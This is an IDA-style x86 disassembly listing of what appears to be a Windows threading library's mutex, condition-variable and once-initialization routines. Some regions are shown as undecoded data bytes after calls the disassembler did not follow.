sub_432100	proc near		; CODE XREF: sub_431EF0+BFp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_0]
		test	edi, edi
		jz	loc_43219E
		mov	esi, [esp+14h+arg_4]
		test	esi, esi
		jnz	short loc_432132
		or	eax, 0FFFFFFFFh


loc_43211C:				; CODE XREF: sub_432100+7Fj
		push	eax
		mov	eax, [edi]
		mov	ecx, [eax]
		push	ecx
		nop
		call	near ptr 2760416h
		test	eax, eax
		jnz	short loc_43218C
		pop	edi
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_432132:				; CODE XREF: sub_432100+17j
		lea	eax, [esp+14h+var_C]
		push	eax
		call	near ptr 77C49113h
		nop
		mov	ecx, [esi+4]
		mov	eax, 431BDE83h
		add	ecx, 7A120h
		add	esp, 4
		mul	ecx
		mov	eax, [esi]
		mov	ecx, [esp+14h+var_C]
		shr	edx, 12h
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		shl	ecx, 3
		lea	eax, [edx+eax*8]
		mov	edx, [esp+14h+var_8]
		sub	eax, ecx
		and	edx, 0FFFFh
		sub	eax, edx
		jns	short loc_43211C
		pop	edi
		mov	eax, 2
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_43218C:				; CODE XREF: sub_432100+2Aj
		cmp	eax, 102h
		jnz	short loc_43219E
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_43219E:				; CODE XREF: sub_432100+Bj
					; sub_432100+91j
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 0Ch
		retn
sub_432100	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4321F0	proc near		; CODE XREF: sub_4010C3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		xor	ebx, ebx
		push	esi
		cmp	eax, ebx
		jz	loc_432290
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_432290
		cmp	esi, 0FFFFFFFFh
		push	edi
		jz	short loc_432285
		mov	eax, [esi+0Ch]
		mov	edi, 1
		cmp	eax, edi
		jz	short loc_43223A
		call	sub_4012E4
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_401A64
		add	esp, 8
		test	eax, eax
		jnz	short loc_43223A
		mov	ebx, edi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43223A:				; CODE XREF: sub_4321F0+2Aj
					; sub_4321F0+40j
		cmp	[esi+8], edi
		jnz	short loc_432248
		mov	eax, [esi+4]
		dec	eax
		mov	[esi+4], eax
		jnz	short loc_43228A


loc_432248:				; CODE XREF: sub_4321F0+4Dj
		lea	edi, [esi+14h]
		mov	[esi+0Ch], ebx
		push	edi
		nop
		call	near ptr 7C901005h
		push	esi
		nop
		call	near ptr 2760788h
		test	eax, eax
		jl	short loc_432278
		add	esi, 10h
		push	esi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_432278
		nop
		call	near ptr 77C1F2BCh
		mov	ebx, [eax]


loc_432278:				; CODE XREF: sub_4321F0+6Ej
					; sub_4321F0+7Ej
		push	edi
		nop
		call	near ptr 7C9010EDh
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432285:				; CODE XREF: sub_4321F0+1Ej
		mov	ebx, 16h


loc_43228A:				; CODE XREF: sub_4321F0+56j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432290:				; CODE XREF: sub_4321F0+Aj
					; sub_4321F0+14j
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
sub_4321F0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4322D0	proc near		; CODE XREF: sub_401785j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	short loc_432355
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_432355
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4322F2
		push	esi
		call	sub_401C17
		add	esp, 4
		mov	edi, eax


loc_4322F2:				; CODE XREF: sub_4322D0+15j
		mov	esi, [esi]
		test	edi, edi
		jnz	short loc_432350
		push	0FFFFFFFFh
		push	edi
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432323
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_43231B
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_43231B:				; CODE XREF: sub_4322D0+44j
		mov	[esi+0Ch], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432323:				; CODE XREF: sub_4322D0+35j
		cmp	dword ptr [esi+8], 1
		jnz	short loc_43234B
		call	sub_4012E4
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_401A64
		add	esp, 8
		test	eax, eax
		jz	short loc_43234B
		mov	eax, [esi+4]
		inc	eax
		mov	[esi+4], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43234B:				; CODE XREF: sub_4322D0+57j
					; sub_4322D0+6Dj
		mov	edi, 10h


loc_432350:				; CODE XREF: sub_4322D0+26j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432355:				; CODE XREF: sub_4322D0+Aj
					; sub_4322D0+10j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_4322D0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432390:				; CODE XREF: ___:0040193Dj
		mov	eax, [esp+8]
		mov	ecx, [esp+4]
		push	eax
		push	ecx
		call	sub_40119A
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4323C0:				; CODE XREF: ___:00401591j
		mov	eax, [esp+8]
		mov	ecx, [esp+4]
		push	eax
		push	ecx
		call	sub_4018CF
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4323F0:				; CODE XREF: ___:00401497j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_4323FC
		mov	eax, [eax+4]
		retn
; ---------------------------------------------------------------------------


loc_4323FC:				; CODE XREF: ___:004323F6j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432410:				; CODE XREF: ___:00401C12j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		push	edi
		jnz	short loc_432422
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432422:				; CODE XREF: ___:00432418j
		mov	esi, [eax]
		test	esi, esi
		jnz	short loc_432445
		mov	ecx, [eax+4]
		test	ecx, ecx
		jnz	short loc_432445
		call	sub_401D02
; ---------------------------------------------------------------------------
		dd 0DE2FE856h, 0E890023Eh, 0FFFCF8C2h, 5EC0335Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_432445:				; CODE XREF: ___:00432426j
					; ___:0043242Dj
		mov	ecx, [eax+4]
		mov	eax, 431BDE83h
		add	ecx, 0F423Fh
		imul	ecx
		sar	edx, 12h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		lea	eax, [esi+esi*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [eax+eax*4]
		lea	edi, [edx+ecx*8]
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	esi, eax
		test	esi, esi
		jnz	short loc_43247E
		pop	edi
		mov	eax, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43247E:				; CODE XREF: ___:00432474j
		mov	eax, [esi+30h]
		push	edi
		test	eax, eax
		jnz	short loc_4324E6
		mov	edx, [esi+38h]
		push	edx
		nop
		call	near ptr 2760416h
		test	eax, eax
		jnz	short loc_4324D7
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_402248
		mov	eax, [esi+0Ch]
		add	esp, 4
		cmp	eax, 3
		jge	short loc_4324C6
		push	edi
		mov	dword ptr [esi+0Ch], 3
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DED
; ---------------------------------------------------------------------------
		add	esp, 8


loc_4324C6:				; CODE XREF: ___:004324A6j
		push	edi
		call	sub_4010C3
		add	esp, 4
		mov	eax, 3
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4324D7:				; CODE XREF: ___:00432492j
		cmp	eax, 102h
		jz	short loc_4324EC
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4324E6:				; CODE XREF: ___:00432484j
		nop
		call	near ptr 2820269h


loc_4324EC:				; CODE XREF: ___:004324DCj
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432540:				; CODE XREF: ___:00401014j
		push	ecx
		lea	eax, [esp+0]
		push	eax
		call	sub_401C3A
		add	esp, 4
		test	eax, eax
		mov	eax, 1
		jnz	short loc_43255B
		mov	eax, [esp+0]


loc_43255B:				; CODE XREF: ___:00432555j
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432570	proc near		; CODE XREF: sub_401712j
		push	esi
		call	sub_401320
		push	offset aKernel32_dll ; "KERNEL32.DLL"
		mov	esi, eax
		nop
		call	near ptr 27D070Bh
		push	offset aInterlockedcom ; "InterlockedCompareExchange"
		push	eax
		mov	dword_5103AC, eax
		nop
		call	near ptr 28A0000h
		test	eax, eax
		mov	dword_5103C8, eax
		jnz	short loc_4325BD
		mov	eax, dword_5103AC
		mov	dword_5103C8, offset sub_4012D0
		push	eax
		nop
		call	near ptr 274070Ch
		mov	dword_5103AC, 0


loc_4325BD:				; CODE XREF: sub_432570+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_432570	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4325F0	proc near		; CODE XREF: sub_401627j
		mov	eax, dword_5103B0
		test	eax, eax
		jz	short loc_432640
		mov	eax, dword_5103B4
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		dd 8504C483h, 832074C0h, 75012078h, 0A0E8501Ah,	8BFFFCF1h
		dd 5103B40Dh, 4C48300h,	6A118Bh, 0F0E89052h, 0E80230DDh
		dd 0FFFCF015h, 5103ACA1h, 74C08500h, 0E8905007h, 230E0CCh
; ---------------------------------------------------------------------------


loc_432640:				; CODE XREF: sub_4325F0+7j
		mov	eax, 1
		retn
sub_4325F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432670	proc near		; CODE XREF: sub_4017BCj
		mov	eax, 1
		retn
sub_432670	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432690	proc near		; CODE XREF: sub_4017CBj
		mov	eax, dword_5103B0
		test	eax, eax
		jz	short loc_4326CB
		mov	eax, dword_5103B4
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		dd 8504C483h, 832074C0h, 75012078h, 0E8501Ah, 8BFFFCF1h
		dd 5103B40Dh, 4C48300h,	6A118Bh, 50E89052h
		db 0DDh, 30h, 2
; ---------------------------------------------------------------------------


loc_4326CB:				; CODE XREF: sub_432690+7j
		mov	eax, 1
		retn
sub_432690	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432700:				; CODE XREF: ___:0040225Cj
		push	ecx
		push	esi
		push	offset dword_510980
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	eax, dword_5103BC
		test	eax, eax
		mov	[esp+4], eax
		jz	short loc_43273E


loc_43271C:				; CODE XREF: ___:0043273Cj
		test	esi, esi
		jnz	short loc_43273E
		lea	eax, [esp+4]
		push	eax
		call	sub_40160E
		mov	ecx, [esp+8]
		mov	esi, eax
		add	esp, 4
		mov	eax, [ecx+18h]
		test	eax, eax
		mov	[esp+4], eax
		jnz	short loc_43271C


loc_43273E:				; CODE XREF: ___:0043271Aj
					; ___:0043271Ej
		push	offset dword_510980
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		neg	eax
		sbb	eax, eax
		and	eax, 0Bh
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432780	proc near		; CODE XREF: sub_4012B7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_432799
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_432799
		cmp	dword ptr [eax], 0C4C0FFEEh
		jnz	short loc_432799
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_432799:				; CODE XREF: sub_432780+6j
					; sub_432780+Cj ...
		mov	eax, 1
		retn
sub_432780	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4327B0	proc near		; CODE XREF: sub_401320j
		mov	eax, dword_5103B0
		test	eax, eax
		jz	short loc_4327BF
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_4327BF:				; CODE XREF: sub_4327B0+7j
		push	0
		push	offset dword_5103B4
		mov	dword_5103B0, 1
		call	sub_401609
		add	esp, 8
		test	eax, eax
		jnz	short loc_4327EE
		push	eax
		push	offset dword_5103B8
		call	sub_401609
		add	esp, 8
		test	eax, eax
		jz	short loc_4327F3


loc_4327EE:				; CODE XREF: sub_4327B0+2Aj
		call	sub_401645


loc_4327F3:				; CODE XREF: sub_4327B0+3Cj
		push	esi
		mov	esi, dword_511868
		push	offset dword_5108C0
		call	esi
		push	offset dword_510920
		call	esi
		push	offset dword_510980
		call	esi
		push	offset dword_510900
		call	esi
		push	offset dword_510960
		call	esi
		push	offset dword_510940
		call	esi
		mov	eax, dword_5103B0
		pop	esi
		retn
sub_4327B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432850	proc near		; CODE XREF: sub_401645j
		mov	eax, dword_5103B0
		test	eax, eax
		jz	locret_432909
		mov	eax, dword_5103B4
		test	eax, eax
		jz	short loc_432879
		push	eax
		call	sub_401AB4
		add	esp, 4
		mov	dword_5103B4, 0


loc_432879:				; CODE XREF: sub_432850+14j
		mov	eax, dword_5103B8
		test	eax, eax
		jz	short loc_432895
		push	eax
		call	sub_401AB4
		add	esp, 4
		mov	dword_5103B8, 0


loc_432895:				; CODE XREF: sub_432850+30j
		push	esi
		push	offset dword_5108C0
		nop
		call	near ptr 7C901005h
		mov	eax, dword_447700
		cmp	eax, 1
		jz	short loc_4328C3
		push	edi
		mov	edi, dword_511AD0


loc_4328B2:				; CODE XREF: sub_432850+70j
		mov	esi, [eax+8]
		push	eax
		call	edi	; free
		add	esp, 4
		cmp	esi, 1
		mov	eax, esi
		jnz	short loc_4328B2
		pop	edi


loc_4328C3:				; CODE XREF: sub_432850+59j
		push	offset dword_5108C0
		call	near ptr 7C9010EDh
		nop
		mov	esi, dword_511864
		push	offset dword_510940
		call	esi
		push	offset dword_510960
		call	esi
		push	offset dword_510900
		call	esi
		push	offset dword_510980
		call	esi
		push	offset dword_510920
		call	esi
		push	offset dword_5108C0
		call	esi
		mov	dword_5103B0, 0
		pop	esi

locret_432909:				; CODE XREF: sub_432850+7j
		retn
sub_432850	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432940:				; CODE XREF: ___:loc_401BA9j
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	eax
		mov	esi, [eax]
		mov	ecx, [eax+4]
		mov	edx, [eax+8]
		mov	[ebp-4], esi
		mov	[ebp-0Ch], ecx
		mov	[ebp-8], edx
		nop
		call	near ptr 77C2C21Bh
		mov	eax, dword_5103B4
		push	esi
		push	eax
		call	sub_4020F9
; ---------------------------------------------------------------------------
		mov	dword ptr [esi+0Ch], 1
		add	esi, 3Ch
		push	0
		push	esi
		call	sub_437D4C
; ---------------------------------------------------------------------------
		mov	edi, [ebp-4]
		add	esp, 14h
		test	eax, eax
		jnz	short loc_43299C
		mov	ecx, [ebp-8]
		push	ecx
		call	dword ptr [ebp-0Ch]
		add	esp, 4
		mov	[edi+14h], eax
		mov	esi, eax
		jmp	short loc_4329A8
; ---------------------------------------------------------------------------


loc_43299C:				; CODE XREF: ___:00432989j
		dec	eax
		jz	short loc_4329A5
		dec	eax
		or	esi, 0FFFFFFFFh
		jmp	short loc_4329A8
; ---------------------------------------------------------------------------


loc_4329A5:				; CODE XREF: ___:0043299Dj
		mov	esi, [edi+14h]


loc_4329A8:				; CODE XREF: ___:0043299Aj
					; ___:004329A3j
		cmp	dword ptr [edi+20h], 1
		jnz	short loc_4329C7
		call	sub_4017CB
		push	esi
		nop
		call	near ptr 77C3A307h
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_4329C7:				; CODE XREF: ___:004329ACj
		push	edi
		call	sub_40131B
		add	esp, 4
		push	esi
		nop
		call	near ptr 77C3A307h
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432A20	proc near		; CODE XREF: sub_4017B7j

var_84		= byte ptr -84h
var_80		= dword	ptr -80h
var_58		= byte ptr -58h
var_4C		= dword	ptr -4Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  4

		sub	esp, 84h
		push	ebx
		mov	ebx, [esp+88h+arg_0]
		test	ebx, ebx
		push	esi
		jz	short loc_432A9A
		lea	esi, [ebx+2Ch]
		push	edi
		push	esi
		call	sub_402248
		push	esi
		mov	dword ptr [ebx+0Ch], 5
		call	sub_4010C3
		push	ebx
		call	sub_40131B
		mov	ecx, 21h
		mov	esi, ebx
		lea	edi, [esp+9Ch+var_84]
		push	ebx
		rep movsd
		call	sub_401BD1
		mov	eax, [esp+0A0h+var_4C]
		mov	esi, dword_5118E0
		add	esp, 10h
		test	eax, eax
		pop	edi
		jz	short loc_432A78
		push	eax
		call	esi


loc_432A78:				; CODE XREF: sub_432A20+53j
		lea	eax, [esp+8Ch+var_58]
		push	eax
		call	sub_402252
		mov	eax, [esp+90h+var_80]
		add	esp, 4
		test	eax, eax
		jz	short loc_432A9A
		test	[esp+8Ch+var_8], 1
		jnz	short loc_432A9A
		push	eax
		call	esi


loc_432A9A:				; CODE XREF: sub_432A20+11j
					; sub_432A20+6Bj ...
		pop	esi
		pop	ebx
		add	esp, 84h
		retn
sub_432A20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432AE0	proc near		; CODE XREF: sub_401DDEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		push	edi
		push	14h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_432B01
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 0Ch
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432B01:				; CODE XREF: sub_432AE0+15j
		mov	edi, [esp+10h+arg_8]
		mov	ebp, [esp+10h+arg_4]
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	[esi+4], ebp
		lea	ebx, [edi+8]
		mov	[esi+8], edi
		push	ebx
		call	sub_402248
		add	esp, 4
		mov	[esp+10h+arg_4], eax
		test	eax, eax
		jz	short loc_432B42
		push	esi
		call	sub_402252
		push	esi
		nop
		call	near ptr 77C2C21Bh
		mov	eax, [esp+18h+arg_4]
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432B42:				; CODE XREF: sub_432AE0+47j
		mov	eax, [edi+0Ch]
		push	ebx
		mov	[esi+10h], eax
		mov	[edi+0Ch], esi
		call	sub_4010C3
		add	esp, 4
		test	ebp, ebp
		jz	short loc_432B67
		mov	ecx, [ebp+80h]
		mov	[esi+0Ch], ecx
		mov	[ebp+80h], esi


loc_432B67:				; CODE XREF: sub_432AE0+76j
		mov	edx, [esp+10h+arg_0]
		pop	edi
		xor	eax, eax
		mov	[edx], esi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_432AE0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432BB0	proc near		; CODE XREF: sub_40105Fj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_432BD7
		mov	eax, [esi+8]
		test	eax, eax
		jnz	short loc_432BD7
		mov	eax, [esi+4]
		test	eax, eax
		jnz	short loc_432BD7
		push	esi
		call	sub_402252
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 8


loc_432BD7:				; CODE XREF: sub_432BB0+7j
					; sub_432BB0+Ej ...
		pop	esi
		retn
sub_432BB0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432BF0	proc near		; CODE XREF: sub_40131Bj

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		test	ebx, ebx
		push	esi
		jz	short loc_432C5D
		mov	esi, [ebx+80h]
		test	esi, esi
		jz	short loc_432C5D
		push	edi


loc_432C05:				; CODE XREF: sub_432BF0+6Aj
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	short loc_432C58
		mov	edi, [esi+8]
		test	edi, edi
		jz	short loc_432C33
		push	edi
		call	sub_401190
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_432C33
		mov	edi, [edi+4]
		test	edi, edi
		jz	short loc_432C33
		push	eax


loc_432C2E:				; CODE XREF: ___:00432CA7j
		call	edi	; free
		add	esp, 4


loc_432C33:				; CODE XREF: sub_432BF0+27j
					; sub_432BF0+34j ...
		mov	eax, [esi+0Ch]
		mov	dword ptr [esi+4], 0
		push	esi
		mov	[ebx+80h], eax
		call	sub_4010C3
		push	esi
		call	sub_40105F
		mov	esi, [ebx+80h]
		add	esp, 8


loc_432C58:				; CODE XREF: sub_432BF0+20j
		test	esi, esi
		jnz	short loc_432C05
		pop	edi


loc_432C5D:				; CODE XREF: sub_432BF0+8j
					; sub_432BF0+12j
		pop	esi
		pop	ebx
		retn
sub_432BF0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_432C80	proc near		; CODE XREF: sub_401DEDj
		mov	eax, dword_5103B4
		push	ebx
		push	edi
		push	eax
		call	sub_401190
sub_432C80	endp

; ---------------------------------------------------------------------------
		db 8Bh,	5Ch, 24h
; ---------------------------------------------------------------------------
		adc	[ebx-47CFB3Ch],	al
		add	cl, [ebx-7CF28B08h]
		sti
		add	[eax+ecx+6Ah], esi
		add	[eax-7F8E2918h], edx
		ja	short loc_432C2E
		push	dword ptr [esi+eax-0Ah]
		inc	edi
		jl	short near ptr loc_432CB0+1


loc_432CB0:				; CODE XREF: ___:00432CAEj
		jz	short loc_432CD5
		push	esi
		mov	eax, ebx
		xor	esi, esi
		dec	eax
		jz	short loc_432CC2
		dec	eax
		jnz	short loc_432CC5
		or	esi, 0FFFFFFFFh
		jmp	short loc_432CC5
; ---------------------------------------------------------------------------


loc_432CC2:				; CODE XREF: ___:00432CB8j
		mov	esi, [edi+14h]


loc_432CC5:				; CODE XREF: ___:00432CBBj
					; ___:00432CC0j
		call	sub_4017CB
		push	esi
		nop
		call	near ptr 77C3A307h
		add	esp, 4
		pop	esi


loc_432CD5:				; CODE XREF: ___:loc_432CB0j
		push	1
		call	sub_401B22
; ---------------------------------------------------------------------------
		dd 8304C483h, 57533CC7h, 408AE890h, 90907780h, 90909090h
		dd 8 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_432D10	proc near		; CODE XREF: sub_401B22j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_401122
sub_432D10	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_432D2F


loc_432D22:				; CODE XREF: ___:00432D2Dj
		push	esi
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jnz	short loc_432D22


loc_432D2F:				; CODE XREF: ___:00432D20j
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432D50:				; CODE XREF: ___:00401DF7j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432D70	proc near		; CODE XREF: sub_4012D0j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		lock cmpxchg [ecx], edx
		mov	[ebp+var_4], eax
		pop	edx
		pop	ecx
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_432D70	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432DB0	proc near		; CODE XREF: sub_401C3Aj

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		lea	eax, [esp+8+var_4]
		lea	ecx, [esp+8+var_8]
		push	esi
		push	eax
		push	ecx
		xor	esi, esi
		nop
		call	near ptr 27801F2h
		push	eax
		call	near ptr 2740000h
		nop
		test	eax, eax
		jz	short loc_432DF2
		mov	edx, [esp+0Ch+var_8]
		xor	ecx, ecx
		mov	eax, 1


loc_432DDC:				; CODE XREF: sub_432DB0+33j
		test	eax, edx
		jz	short loc_432DE1
		inc	ecx


loc_432DE1:				; CODE XREF: sub_432DB0+2Ej
		shl	eax, 1
		jnz	short loc_432DDC
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, esi
		pop	esi
		mov	[edx], ecx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_432DF2:				; CODE XREF: sub_432DB0+1Fj
		mov	eax, 0Bh
		pop	esi
		add	esp, 8
		retn
sub_432DB0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432E20	proc near		; CODE XREF: sub_40185Cj

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_510960
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432E54
		push	esi
		push	ecx
		call	sub_401F91
		add	esp, 8
		mov	esi, eax
		push	offset dword_510960
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432E54:				; CODE XREF: sub_432E20+17j
		test	eax, eax
		jnz	short loc_432E5D
		mov	esi, 16h


loc_432E5D:				; CODE XREF: sub_432E20+36j
		push	offset dword_510960
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
sub_432E20	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432E90	proc near		; CODE XREF: sub_401861j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+14h]
		lea	ecx, [esi+4]
		neg	eax
		push	ecx
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		push	esi
		call	sub_4010C3
		add	esp, 8
		pop	esi
		retn
